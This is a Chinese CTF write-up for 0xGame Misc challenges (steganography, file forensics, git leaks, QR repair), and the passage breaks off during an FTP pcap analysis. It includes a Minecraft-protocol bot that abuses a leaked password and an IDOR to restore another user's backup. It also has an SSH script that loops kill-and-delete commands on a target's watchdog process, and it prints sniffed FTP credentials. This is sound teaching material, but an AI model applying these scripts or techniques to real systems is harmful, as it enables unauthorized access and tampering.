Misc

欢迎来到CTF的世界!

在文件里面看到一串base64编码

image\.png

解码后得到flag

image\.png

1
0xGame{welcome_t0_the_w0rld_of_CTF!}

小伊卡...不胖...不胖...

附件 小伊卡…不胖…不胖/fat_Y1k@.png 的 IHDR 高度被修改,导致底部 flag 隐藏。宽度为 1500,高度为 1280;IHDR 的 CRC 校验失败,其余所有 PNG 数据块校验正常。

保留宽度和其他字段,枚举高度 1 至 49999,计算 IHDR 的 CRC32,与文件中保留的原始 CRC B757DB33 比较。高度为 1500 时匹配,说明原始尺寸为 1500×1500。

修复文件偏移 0x14 至 0x17 的高度字段:00 00 05 00 → 00 00 05 DC。无需修改 CRC 或 IDAT。恢复后的图片底部出现两行文字,直接拼接得到 flag。

1
2
3
4
5
6
7
8
9
10
$ErrorActionPreference = 'Stop'
Add-Type -Path (Join-Path $PSScriptRoot 'pngcheck.cs')
$source = Get-ChildItem -LiteralPath $PSScriptRoot -Recurse -Filter 'fat_Y1k@.png' | Select-Object -First 1
$bytes = [IO.File]::ReadAllBytes($source.FullName)
$height = [PngCheck]::FindHeight($bytes)
if ($height -lt 1) { throw 'No height matches the original IHDR CRC.' }
$output = Join-Path $PSScriptRoot 'recovered.png'
[IO.File]::WriteAllBytes($output, $bytes)
Write-Output "Recovered height: $height; image: $output"
Write-Output 'Read the two lines at the bottom of recovered.png and concatenate them.'

recovered\.png

1
0xGame{w0w_thi5_1s_thE_tru3_Length}

奶蛙的博客

依次收集这124块碎片,然后进行解码

image\.png

1
H4sIAAAAAAAA/wTAwQ2AMAgF0JXaADM4xo9BbQ+UA0GrMe7uK/eyjv11rpNhfLYu0OBpAvYNWsxIU0AXxYMjuA3yBGsUEWQnVE8Kp/z+AAAA//+XJ0P/SwAAAA==
1
0xGame{n41w4_l4ugh5_cr4wl5_4nd_c0ll3ct5_3v3ry_fr4gm3nt_4cr055_th3_1nt3rn3t}

Strange_lsb

LSB隐写,在stegsolve里面做如下操作

  1. 用下方左右箭头找到 Red plane 0,通过 File** → **Save As 保存为 r0.png。

  2. 同样找到 Green plane 0、Blue plane 0,分别保存为 g0.png、b0.png。

  3. 用 File** → **Open 打开刚保存的 r0.png。

  4. 选择 Analyse** → **Image Combiner,加载 g0.png。在组合窗口用左右箭头切换到 XOR,将结果保存为 rg.png。

  5. 回到主窗口打开 rg.png,再次使用 Image Combiner 加载 b0.png,切换到 XOR,就能看到二维码。

image\.png

或者直接用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pathlib import Path

import cv2
import numpy as np
from PIL import Image

def main():
directory = Path(__file__).resolve().parent
rgb = np.asarray(Image.open(directory / "challenge.png").convert("RGB"))

# Three channel LSBs are random individually; their XOR forms the QR code.
bits = (rgb[:, :, 0] ^ rgb[:, :, 1] ^ rgb[:, :, 2]) & 1
qr = ((1 - bits) * 255).astype(np.uint8)
Image.fromarray(qr).save(directory / "rgb_xor_lsb.png")

flag, points, _ = cv2.QRCodeDetector().detectAndDecode(qr)
if not flag:
raise RuntimeError("QR decode failed; inspect rgb_xor_lsb.png")
print(flag)

if __name__ == "__main__":
main()
1
0xGame{LSB_x0r_Pl4n3_1s_4w3s0m3!}

ez_traffic

我是蛆,懒得分析流量包了,直接导出文件

image\.png

打开文件再进行base64编码

image\.png

1
MHhHYW1le3RyQGZmMWNfYW5hMXk1aXNfaTVfZlVuX2g3N3AhfQ==
1
0xGame{tr@ff1c_ana1y5is_i5_fUn_h77p!}

Interesting_ppt

解题路径:

  1. 将 0xgame.pptx 当作 ZIP 解压。

  2. docProps/core.xml 中藏有 a2V5PTB4R2FtZV8yMDI2,Base64 解码得到 key=0xGame_2026。

image\.png

  1. 提取 docProps/custom.xml 的 AIGC 属性,先 Base64 解码,再用 0xGame_2026 循环 XOR。

image\.png

  1. 将结果再次 Base64 解码,得到 flag。

image\.png

1
0xGame{pptx_1s_just_a_z1p_4nd_metadata_n3ver_b3tr4ys_y0u}

深夜值班室

  1. 情报收集:区块 NBT 里的告示牌

进服后服务端把区块(map_chunk)推给客户端,告示牌文本就在区块的方块实体数组里,
不需要渲染就能读。房间 7 号机房 里的告示牌:

讲台 (-4,65,-4) 右键 → 书《老陈的工位》:

显示器还亮着,屏保是一行字:”别找我,真有事看交接文档。”
键盘上放着半杯凉掉的美式。
公共值班账号在前墙白板上。

/ops help 给出终端命令表,/case 给出目标:

目标:查清老管理员 03:17 掉线后的去向。信息在机房的书、打印机和白板上;操作全靠 /ops 终端命令。
进度:终端登录=false,拿到交接文档=false,进入安全屋=false

  1. 打印机 = 锻造台,右键拿口令

“打印机”是 smithing_table 在 (-8,65,-6)。右键后服务端发 set_cursor_item + open_book,
书《卡住的打印纸》:

【运维公告】backup restore 模块的归属校验仍在开发中,预计下周上线,期间请各位按规操作。
备份服务每晚 02:50 例行执行,如遇异常请联……

【口令更新通知】终端口令已更新为 watch2026,旧口令作废。请阅后销毁。

(”归属校验仍在开发中” 就是 IDOR 的明示提示。)

  1. 终端:IDOR 拿交接文档 → 门禁码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/ops login nightowl watch2026      -> login ok. 欢迎,nightowl(夜班值班组)
/ops logs
02:50:03 backupd scheduled backup #7 stored (owner: chensy, tag: handover-final)
02:58:44 chensy login ok (workstation-07)
03:11:08 chensy backup restore --id 7 -> OK
03:17:55 chensy session lost (workstation-07 offline, no logout)
03:19:02 door safe-room unlocked with emergency code
03:19:41 door safe-room auto-locked

/ops backup list -> 只有 #2/#5(自己名下的)
/ops backup restore --id 7 -> OK (owner: chensy, tag: handover-final) # 越权
交接文档
我搬去安全屋住了,别找我。
真有天大的事再来:门禁码 3117。
服务器交给你们了。—— 老陈
  1. 进安全屋 → flag
1
/ops door unlock 3117

传送进自定义维度 minecraft:ops_saferoom,标题 安全屋 / 老陈的回信,留在墙上的告示牌上。

安全屋墙上告示牌 (0,68,-5) 四行:

1
2
3
4
0xGame{266fe1
1d-f05a-41c3-
93d0-040a933b
a268}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import socket, struct, zlib, sys, os, time, uuid, re, json

HOST = sys.argv[1] if len(sys.argv) > 1 else "nc1.ctfplus.cn"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 20616
PROTO = 774
NAME = "DutyBot"

PRINTER = (-8, 65, -6) # smithing_table (打印机)
STAND = (-7.5, 65.0, -6.5) # spot in front of it

# ---------------- wire helpers ----------------
def wv(n):
out = b""
while True:
b = n & 0x7F; n >>= 7
out += bytes([b | 0x80]) if n else bytes([b])
if not n: return out

def rv(b, o):
num = shift = 0
while True:
x = b[o]; o += 1
num |= (x & 0x7F) << shift
if not x & 0x80: return num, o
shift += 7

def wstr(s):
e = s.encode(); return wv(len(e)) + e

def packed_pos(x, y, z):
v = ((x & 0x3FFFFFF) << 38) | ((z & 0x3FFFFFF) << 12) | (y & 0xFFF)
return struct.pack(">Q", v & 0xFFFFFFFFFFFFFFFF)

class NBT:
def __init__(s, b): s.b = b; s.i = 0
def _n(s, n):
v = s.b[s.i:s.i + n]; s.i += n; return v
def u8(s): return s._n(1)[0]
def i16(s): return struct.unpack(">h", s._n(2))[0]
def i32(s): return struct.unpack(">i", s._n(4))[0]
def i64(s): return struct.unpack(">q", s._n(8))[0]
def f32(s): return struct.unpack(">f", s._n(4))[0]
def f64(s): return struct.unpack(">d", s._n(8))[0]
def s_(s):
n = struct.unpack(">H", s._n(2))[0]; return s._n(n).decode("utf-8", "replace")
def pl(s, t):
if t == 1: return struct.unpack(">b", s._n(1))[0]
if t == 2: return s.i16()
if t == 3: return s.i32()
if t == 4: return s.i64()
if t == 5: return s.f32()
if t == 6: return s.f64()
if t == 7: n = s.i32(); return s._n(n)
if t == 8: return s.s_()
if t == 9:
et = s.u8(); n = s.i32(); return [s.pl(et) for _ in range(n)]
if t == 10:
d = {}
while True:
tt = s.u8()
if tt == 0: return d
nm = s.s_(); d[nm] = s.pl(tt)
if t == 11: n = s.i32(); return list(struct.unpack(f">{n}i", s._n(4 * n)))
if t == 12: n = s.i32(); return list(struct.unpack(f">{n}q", s._n(8 * n)))
raise ValueError(t)
def root(s):
t = s.u8(); return None if t == 0 else s.pl(t)

def txt(n):
if n is None: return ""
if isinstance(n, str): return n
if isinstance(n, list): return "".join(txt(x) for x in n)
if isinstance(n, dict):
o = ""
if "text" in n: o += str(n["text"])
if "translate" in n: o += f"<{n['translate']}>"
if "extra" in n: o += txt(n["extra"])
return o
return str(n)

class Conn:
def __init__(s, sock): s.s = sock; s.comp = False; s.thr = 0; s.buf = b""
def _recv(s, n):
while len(s.buf) < n:
c = s.s.recv(65536)
if not c: raise EOFError
s.buf += c
o, s.buf = s.buf[:n], s.buf[n:]; return o
def rvi(s):
num = shift = 0
while True:
x = s._recv(1)[0]; num |= (x & 0x7F) << shift
if not x & 0x80: return num
shift += 7
def read(s):
ln = s.rvi(); data = s._recv(ln)
if s.comp:
dl, off = rv(data, 0)
body = data[off:] if dl == 0 else zlib.decompress(data[off:])
else:
body = data
pid, off = rv(body, 0); return pid, body[off:]
def send(s, pid, pl=b""):
body = wv(pid) + pl
if s.comp:
body = (wv(len(body)) + zlib.compress(body)) if len(body) >= s.thr else (wv(0) + body)
s.s.sendall(wv(len(body)) + body)

# ---------------- block-state decoding (for the saferoom sign) ----------------
STATE2NAME = {}
_bj = os.path.join(os.path.dirname(os.path.abspath(__file__)), "blocks_12111.json")
if os.path.exists(_bj):
for b in json.load(open(_bj, encoding="utf-8")):
for s in range(b["minStateId"], b["maxStateId"] + 1):
STATE2NAME[s] = b["name"]

def decode_chunk_block_entities(pl):
"""map_chunk payload -> list of (x,y,z,type,nbt)"""
cx, cz = struct.unpack_from(">ii", pl, 0)
o = 8
n, o = rv(pl, o)
for _ in range(n):
_, o = rv(pl, o)
c, o = rv(pl, o); o += c * 8
l, o = rv(pl, o); o += l
bec, o = rv(pl, o)
out = []
for _ in range(bec):
packed = pl[o]; o += 1
y = struct.unpack_from(">h", pl, o)[0]; o += 2
typ, o = rv(pl, o)
r = NBT(pl[o:]); nbt = r.root()
o += r.i
bx = (packed >> 4) & 15; bz = packed & 15
out.append((cx * 16 + bx, y, cz * 16 + bz, typ, nbt))
return out

def sign_lines(nbt):
if not isinstance(nbt, dict):
return None
s = nbt.get("front_text")
if not isinstance(s, dict) or not isinstance(s.get("messages"), list):
return None
out = []
for m in s["messages"]:
try:
out.append(txt(json.loads(m)) if isinstance(m, str) else str(m))
except Exception:
out.append(str(m))
return out

# ---------------- main ----------------
def main():
sock = socket.create_connection((HOST, PORT), timeout=20)
c = Conn(sock)
c.send(0x00, wv(PROTO) + wstr(HOST) + struct.pack(">H", PORT) + wv(2))
c.send(0x00, wstr(NAME) + uuid.uuid4().bytes)

st = {"state": "LOGIN", "pos": None, "rot": (0.0, 0.0), "chat": [],
"book": [], "signs": [], "dim": None}
sock.settimeout(0.25)

def handle(pid, pl):
if pid == 0x2b: c.send(0x1b, pl)
elif pid == 0x3b: c.send(0x2c, pl)
elif pid == 0x46:
tid, o = rv(pl, 0)
x, y, z, dx, dy, dz, yaw, pitch = struct.unpack_from(">ddddddff", pl, o)
st["pos"] = (x, y, z); st["rot"] = (yaw, pitch)
c.send(0x00, wv(tid))
elif pid == 0x30:
c.send(0x2b)
elif pid == 0x77:
try: st["chat"].append(re.sub(r"\u00a7.", "", txt(NBT(pl).root())))
except Exception: pass
elif pid == 0x6e or pid == 0x70 or pid == 0x55:
try:
t = re.sub(r"\u00a7.", "", txt(NBT(pl).root()))
if t.strip(): print(f" [title] {t}")
except Exception: pass
elif pid == 0x6a: # set_cursor_item (book handed to us)
try: st["book"].append(pl.decode("utf-8", "replace"))
except Exception: pass
elif pid == 0x2c: # map_chunk -> collect signs
try:
for (x, y, z, typ, nbt) in decode_chunk_block_entities(pl):
ln = sign_lines(nbt)
if ln: st["signs"].append((x, y, z, ln))
except Exception: pass

def pump(dur):
end = time.time() + dur
while time.time() < end:
try:
pid, pl = c.read()
except socket.timeout:
continue
except EOFError:
return False
if st["state"] != "PLAY":
if pid == 0x02: c.send(0x03); st["state"] = "CONFIG"
elif pid == 0x03:
if st["state"] == "LOGIN":
st["thr"] = rv(pl, 0)[0]; c.thr = st["thr"]; c.comp = True
else:
c.send(0x03); st["state"] = "PLAY"
elif pid == 0x0e: c.send(0x07, wv(0))
elif pid == 0x04: c.send(0x04, pl)
elif pid == 0x05: c.send(0x05, pl)
elif pid == 0x00 and st["state"] == "LOGIN": return False
continue
handle(pid, pl)
return True

print(f"[*] connecting {HOST}:{PORT}")
while st["state"] != "PLAY":
if not pump(0.5):
print("[!] login failed"); return
pump(2.0)
print(f"[*] spawn pos={st['pos']}")

# --- make sure we start in the duty room (last session may have ended in the safe room) ---
c.send(0x06, wstr("case home")); pump(2.5)
print(f"[*] after /case home pos={st['pos']}")

# --- walk to the printer ---
tx, ty, tz = STAND
cur = list(st["pos"])
for _ in range(400):
if abs(cur[0]-tx) < 0.2 and abs(cur[1]-ty) < 0.2 and abs(cur[2]-tz) < 0.2:
break
cur[0] += max(-0.3, min(0.3, tx-cur[0]))
cur[1] += max(-0.3, min(0.3, ty-cur[1]))
cur[2] += max(-0.3, min(0.3, tz-cur[2]))
c.send(0x1e, struct.pack(">dddff", cur[0], cur[1], cur[2], *st["rot"]) + b"\x01")
pump(0.15)
pump(0.8)
print(f"[*] at printer: {st['pos']}")

# --- right-click the printer ---
px, py, pz = PRINTER
c.send(0x3f, wv(0) + packed_pos(px, py, pz) + wv(5) +
struct.pack(">fff", 0.5, 0.5, 0.5) + b"\x00\x00" + wv(1))
pump(1.5)

pw = None
for b in st["book"]:
m = re.search(r"口令已更新为\s*([0-9A-Za-z_**\-**]+)", b)
if m: pw = m.group(1)
print(f"[*] leaked terminal password = {pw}")
if not pw:
print("[!] could not read password from printer card"); return

# --- terminal ---
def cmd(s):
st["chat"].clear()
c.send(0x06, wstr(s)); pump(1.2)
for line in st["chat"]:
print(" ", line)
return list(st["chat"])

cmd(f"ops login nightowl {pw}")
cmd("ops logs")
out = cmd("ops backup restore --id 7")
code = None
for line in out:
m = re.search(r"门禁码\s*([0-9]+)", line)
if m: code = m.group(1)
print(f"[*] door code = {code}")
if not code:
print("[!] no door code"); return

st["signs"].clear()
cmd(f"ops door unlock {code}")
pump(3.0)

# --- flag from the saferoom wall sign ---
flag = None
for (x, y, z, ln) in st["signs"]:
joined = "".join(ln).strip()
if "0xGame{" in joined or "flag{" in joined.lower():
flag = joined
print(f"[*] sign ({x},{y},{z}): {ln}")
print()
if flag:
print("=" * 60)
print("FLAG:", flag)
print("=" * 60)
else:
print("[!] flag sign not found; signs seen:")
for s in st["signs"][:20]:
print(" ", s)

try: sock.close()
except Exception: pass

if __name__ == "__main__":
main()

1
0xGame{266fe11d-f05a-41c3-93d0-040a933ba268}

Treasure_island

连接靶机后查看目录的clue.txt文件

image\.png

让我们数一下地图有几行

1
wc -l real_map.txt

image\.png

找到第510个文件,打开箱子

image\.png

按照提示,查看/tmp/flag的权限,发现被锁了

image\.png

/etc/.flagd/* 全是 root 的看不了,但 /opt/.whisper/heartbeat.sh 属主是 player(可读可删)

读取之后发现拿到flag的方法写在上面了,杀进程 + 删脚本

image\.png

1
2
3
4
pkill -f heartbeat.sh
rm -f /opt/.whisper/heartbeat.sh
ls -la /opt/.whisper/; ps -eo pid,args | grep -F heartbeat | grep -v grep
cat /tmp/flag

image\.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Treasure_island 一键解题脚本 (nc1.ctfplus.cn:12146 SSH)

链路:
1) 数 real_map.txt 行数 N -> 真箱子 chest/box_<N>.txt
2) 箱子提示 flag 在 /tmp/flag, 被 player 自己的 heartbeat.sh 反复封死
3) kill 心跳进程 + 删掉 heartbeat.sh -> watchdog 把 flag 放开成 444
4) cat /tmp/flag
"""
import re, sys, time
import paramiko

HOST, PORT, USER, PASS = "nc1.ctfplus.cn", 12146, "player", "0xGame2026"

sys.stdout.reconfigure(encoding="utf-8", errors="replace")

def sh(cli, cmd, quiet=False):
_, out, err = cli.exec_command(cmd, timeout=60)
o = out.read().decode("utf-8", "replace")
e = err.read().decode("utf-8", "replace")
if not quiet:
if o.strip():
print(o.rstrip())
if e.strip():
print("[stderr]", e.rstrip())
return o, e

def main():
cli = paramiko.SSHClient()
cli.set_missing_host_key_policy(paramiko.AutoAddPolicy())
cli.connect(HOST, port=PORT, username=USER, password=PASS,
timeout=30, look_for_keys=False, allow_agent=False)
print(f"[+] connected {USER}@{HOST}:{PORT}\n")

# ---- Step 1: 数藏宝图行数, 定位真箱子 ----
print("[*] Step 1 数 real_map.txt 的行数")
o, _ = sh(cli, "wc -l < ~/treasure_island/real_map.txt", quiet=True)
n = int(o.strip())
print(f" real_map.txt = {n} 行 -> chest/box_{n:03d}.txt")

print("[*] 交叉验证: 找出 chest/ 里大小异常的文件")
sh(cli, "find ~/treasure_island/chest -type f ! -size 49c -exec ls -la {} \\;")

box = f"chest/box_{n:03d}.txt"
print(f"\n[*] Step 2 读取 {box}")
sh(cli, f"cat ~/treasure_island/{box}")

# ---- Step 3: 解封 /tmp/flag ----
print("\n[*] Step 3 检查 /tmp/flag 状态")
o, _ = sh(cli, "ls -la /tmp/flag; echo '---'; test -r /tmp/flag && echo READABLE || echo SEALED",
quiet=True)
print(o.rstrip())

if "READABLE" not in o:
print("\n[*] flag 被封着, 执行解封")
print(" 注意: respawn.sh 会重建 heartbeat.sh (轮询周期约 60s),")
print(" 所以单次 kill+rm 会被抹掉, 必须边杀边删边轮询 flag.")
print(" (远程 shell 一条命令跑完, 避免多次 SSH 往返浪费窗口)\n")

remote = (
"i=0; while [ $i -lt 240 ]; do "
" pkill -f heartbeat.sh 2>/dev/null; "
" rm -f /opt/.whisper/heartbeat.sh 2>/dev/null; "
" if cat /tmp/flag 2>/dev/null; then echo; echo UNSEALED; exit 0; fi; "
" i=$((i+1)); sleep 0.5; "
"done; echo TIMEOUT"
)
sh(cli, remote)

# ---- Step 4: 拿 flag ----
print("\n[*] Step 4 cat /tmp/flag")
o, _ = sh(cli, "cat /tmp/flag", quiet=True)
m = re.search(r"0xGame**\{**[^}]+**\}**", o)
if m:
print(f"\n[=] FLAG: {m.group(0)}")
else:
print("[!] 没匹配到 flag, 原始输出:")
print(o)

cli.close()

if __name__ == "__main__":
main()

1
0xGame{6168f476-bf9e-419c-a3a8-359240c0ec29}

粗心的小x

part1

chat_export.json 用户消息可以看到flag的第一部分

image\.png

1
T7xQcGFydDE6MHhHYW1le0QwX24wdF8
1
O¼Ppart1:0xGame{D0_n0t_

part2

查看git日志git log --all

image\.png

拿到Git 初始提交的 chat.py的提交哈希e3b545119c198921a1dda1692f5ecc7b8a683484

并查看

1
git show e3b5451:chat.py

可以看见第二部分flag

image\.png

1
m2PzcGFydDI6dXBsT0BkX3ByMXY0dDM
1
›cópart2:uplO@d_pr1v4t3

part3

项目 .env 的 OPENAI_API_KEY可以看见flag的最后一个部分

image\.png

1
W9kDcGFydDM6X3RoMW5nc190MF9nMXR9
1
part3:_th1ngs_t0_g1t}
1
0xGame{D0_n0t_uplO@d_pr1v4t3_th1ngs_t0_g1t}

模糊二维码

照片存在透视变形,直接裁剪后扫描无法可靠识别。中央仍有大量竖直放置、中心呈圆形的黑豆,可以用这些中心拟合拼豆板的规则网格。

处理步骤如下:

  1. 使用 OpenCV 的 HoughCircles 检测中央区域的圆形豆子。

  2. 根据一个可见豆子的中心与相邻网格间距,给出网格坐标的初始估计。

  3. 将估计坐标四舍五入到整数格点,排除偏离格点较远的豆子。

  4. 用 findHomography 和 RANSAC 拟合网格到照片的投影关系,并迭代修正。

  5. 在每个格点对应的照片位置取一个 11×11 像素窗口。灰度小于 100 的像素占比超过 40% 时,暂时判定为黑色模块。

image\.png

定位图案已经损坏,但仍能结合残留的校正图案、时序图案和格式信息确定候选结构。最终通过纠错和独立解码验证的参数为:

二维码的边长满足 N = 17 + 4V,因此 29 = 17 + 4×3,对应版本 3。Q 级、掩码 0 对应的 15 位格式信息经 BCH 编码并异或格式掩码后为 0x355F;照片中另一份残留格式信息帮助纠正了最初的掩码判断。

脚本使用的人为取样网格中,二维码范围是列 18~46、行 6~34,均含端点。提取后逆时针旋转 90°,还原为标准二维码方向。

补定位符只是恢复识别结构,并不能直接补回损坏的数据。 本题需要继续读取二维码的数据区。

读取时先排除定位图案及其分隔区、时序图案、校正图案、格式信息和固定深色模块,从右下角开始,按两列一组的之字形路线读取;遇到时序图案所在的第 6 列时跳过该列。每个码字由 8 位组成,高位在前。

掩码 0 的规则为:

1
当 (row + column) % 2 == 0 时翻转数据模块。

因此将取样结果与该规则异或,就得到去掩码后的比特。Version 3 共包含 70 个码字,即前 560 个数据区比特;末尾的 remainder bits 不参与码字解码。

Version 3-Q 的纠错结构为两组 RS(35,17):

二维码存放的是交错后的码字,不能直接对 70 字节整体做 RS 解码。设读取出的数组为 words,先拆成两组:

1
2
block0 = words[0:34:2] + words[34:70:2]
block1 = words[1:34:2] + words[35:70:2]

第一组开头的六个数据字节对应照片中未完成或损坏严重的起始数据区域,因此将其作为擦除位置,即 erase_pos=[0,1,2,3,4,5]。第二组直接做普通错误纠正。

对于每组有 18 个纠错字节的 RS 码,纠错能力满足:

1
2e + s ≤ 18

其中 e 是未知位置的错误字节数,s 是已知位置的擦除字节数。此次恢复结果为:

  • 第一组:6 个擦除位置,另外修正 5 个错误字节,6 + 2×5 = 16 ≤ 18。

  • 第二组:修正 8 个错误字节,2×8 = 16 ≤ 18。

两组修正后的 syndrome 均为零,校验通过。这个过程无需预先填入或猜测 flag 正文。

将两组恢复出的 17 个数据字节按组拼接,得到 34 字节原始数据。其开头为

1
2
3
0100 00100000 ...
^^^^ ^^^^^^^^
模式 内容长度

0100 表示 Byte 模式。版本 1~9 的 Byte 模式使用 8 位内容长度字段,00100000 即 32,因此从第 12 位开始读取 32 个字节,得到最终 flag。

最后将纠正后的原始码字重新交错,补齐固定图案,以掩码 0 重建完整二维码,再使用 ZXing 独立扫码。扫码结果与 RS 恢复出的内容完全一致。

image\.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
"""Recover QRcoooold from the bead photograph; no flag text is hard-coded.

Run from this workspace: .venv/Scripts/python.exe solve_qr.py
Dependencies: numpy, opencv-python-headless, qrcode, reedsolo, zxing-cpp, pillow.
"""
from pathlib import Path

import cv2
import numpy as np
import qrcode
import reedsolo
import zxingcpp
from qrcode import util

ROOT = Path(__file__).resolve().parent


def extract_modules():
photograph = cv2.imread(str(ROOT / "QRcoooold" / "messyQR.jpg"))
if photograph is None:
raise FileNotFoundError("QRcoooold/messyQR.jpg")
gray = cv2.cvtColor(photograph, cv2.COLOR_BGR2GRAY)
circles = cv2.HoughCircles(
gray, cv2.HOUGH_GRADIENT, 1, 12,
param1=80, param2=18, minRadius=5, maxRadius=10,
)[0]
points = circles[
(circles[:, 0] > 430) & (circles[:, 0] < 1000)
& (circles[:, 1] > 800) & (circles[:, 1] < 1270)
][:, :2]
# A visible bead supplies the lattice origin; neighboring pegs supply pitch.
origin = np.array([496.5, 1122.5])
basis = np.array([[18.2, .42], [-.7, 18.0]])
cv2.setRNGSeed(0)
for iteration in range(5):
coordinates = (
(points - origin) @ np.linalg.inv(basis).T
if iteration == 0 else
cv2.perspectiveTransform(points[None], np.linalg.inv(homography))[0]
)
lattice = np.rint(coordinates)
good = np.linalg.norm(coordinates - lattice, axis=1) < .2
homography, _ = cv2.findHomography(
lattice[good], points[good], cv2.RANSAC, 2,
)

# Board-grid coordinates (18, 6)..(46, 34) define the 29x29 symbol.
board_x, board_y = np.meshgrid(np.arange(18, 47), np.arange(6, 35))
lattice = np.stack([board_x - 19, board_y - 26], axis=-1).astype(np.float32)
pixels = cv2.perspectiveTransform(lattice.reshape(1, -1, 2), homography)[0]
samples = []
for x, y in pixels:
x, y = round(float(x)), round(float(y))
patch = photograph[y - 5:y + 6, x - 5:x + 6].mean(axis=2)
samples.append((patch < 100).mean() > .4)
# The photographed symbol is rotated clockwise.
return np.rot90(np.array(samples).reshape(29, 29), 1)


def blank_symbol():
qr = qrcode.QRCode(version=3, error_correction=qrcode.constants.ERROR_CORRECT_Q)
qr.modules_count = 29
qr.modules = [[None] * 29 for _ in range(29)]
qr.setup_position_probe_pattern(0, 0)
qr.setup_position_probe_pattern(22, 0)
qr.setup_position_probe_pattern(0, 22)
qr.setup_position_adjust_pattern()
qr.setup_timing_pattern()
qr.setup_type_info(False, 0)
return qr


def read_codewords(modules):
reserved = blank_symbol().modules
positions = []
row, direction = 28, -1
for column in range(28, 0, -2):
if column <= 6:
column -= 1
while True:
for c in (column, column - 1):
if reserved[row][c] is None:
positions.append((row, c))
row += direction
if row < 0 or row >= 29:
row -= direction
direction = -direction
break
mask = util.mask_func(0)
bits = [bool(modules[r, c]) ^ mask(r, c) for r, c in positions[:560]]
return bytes(
sum(bits[i * 8 + j] << (7 - j) for j in range(8))
for i in range(70)
)


def main():
words = read_codewords(extract_modules())
# Version 3-Q: two RS(35,17) blocks, with 18 parity bytes apiece.
blocks = [words[j:34:2] + words[34 + j:70:2] for j in range(2)]
corrected, data = [], []
for index, block in enumerate(blocks):
erasures = list(range(6)) if index == 0 else []
message, repaired, locations = reedsolo.RSCodec(18).decode(
block, erase_pos=erasures,
)
if any(reedsolo.rs_calc_syndromes(repaired, 18)):
raise ValueError("RS syndrome verification failed")
print(f"Block {index}: corrected positions {list(locations)}; syndrome = 0")
data.extend(message)
corrected.append(repaired)

stream = ''.join(f'{byte:08b}' for byte in data)
mode, length = int(stream[:4], 2), int(stream[4:12], 2)
if mode != 4 or 12 + length * 8 > len(stream):
raise ValueError("Unexpected QR payload header")
payload = bytes(int(stream[12 + i * 8:20 + i * 8], 2) for i in range(length))
text = payload.decode('ascii')
if not (text.startswith('0xGame{') and text.endswith('}')):
raise ValueError("Recovered content has unexpected flag format")

interleaved = [corrected[j][i] for i in range(17) for j in range(2)]
interleaved += [corrected[j][i] for i in range(17, 35) for j in range(2)]
qr = qrcode.QRCode(
version=3, error_correction=qrcode.constants.ERROR_CORRECT_Q,
mask_pattern=0, border=4, box_size=12,
)
# Rebuild from corrected original codewords, not from a guessed flag string.
qr.data_cache = interleaved
qr.makeImpl(False, 0)
output = ROOT / 'repaired_qr.png'
qr.make_image().save(output)
decoded = zxingcpp.read_barcodes(cv2.imread(str(output)))
if len(decoded) != 1 or decoded[0].bytes != payload:
raise ValueError("Independent ZXing verification failed")
(ROOT / 'flag.txt').write_text(text + '\n', encoding='utf-8')
(ROOT / 'recovered_data.bin').write_bytes(bytes(data))
print(f'Byte mode; payload length = {length}; ZXing verification passed')
print(text)


if __name__ == '__main__':
main()
1
0xGame{QR_c0de&3rr0r_(oRr3c7iOn}

ez_ftp

筛选 FTP 控制连接ip.addr == 192.168.20.10 && tcp.port == 21

抓包为小端 PCAP,链路类型 228(原始 IPv4)。流量里有三类值得区分的会话:

  • 103.86.55.23 多次尝试不同账号和密码,服务器均返回 530,登录失败。

  • 192.168.20.77 使用 guest 账号登录,只下载了公开的 brochure.pdf。

  • 192.168.20.55 使用运维备份账号成功登录,并下载了本题的关键文件。

192.168.20.55 的控制连接暴露以下凭据

image\.png

Text
1
2
账号:ops_backup
口令:Bk_Ops#2026

FTP 使用独立的数据连接传输文件。控制会话中的 EPSV 响应会告诉客户端应连接哪个被动端口,例如:

229 Entering Extended Passive Mode (|||40501|)

这表示随后的数据连接使用服务端端口 40501。各文件与端口对应关系如下:

按 TCP 序列号重组服务端到客户端的数据,去除重传,确认没有字节缺口:

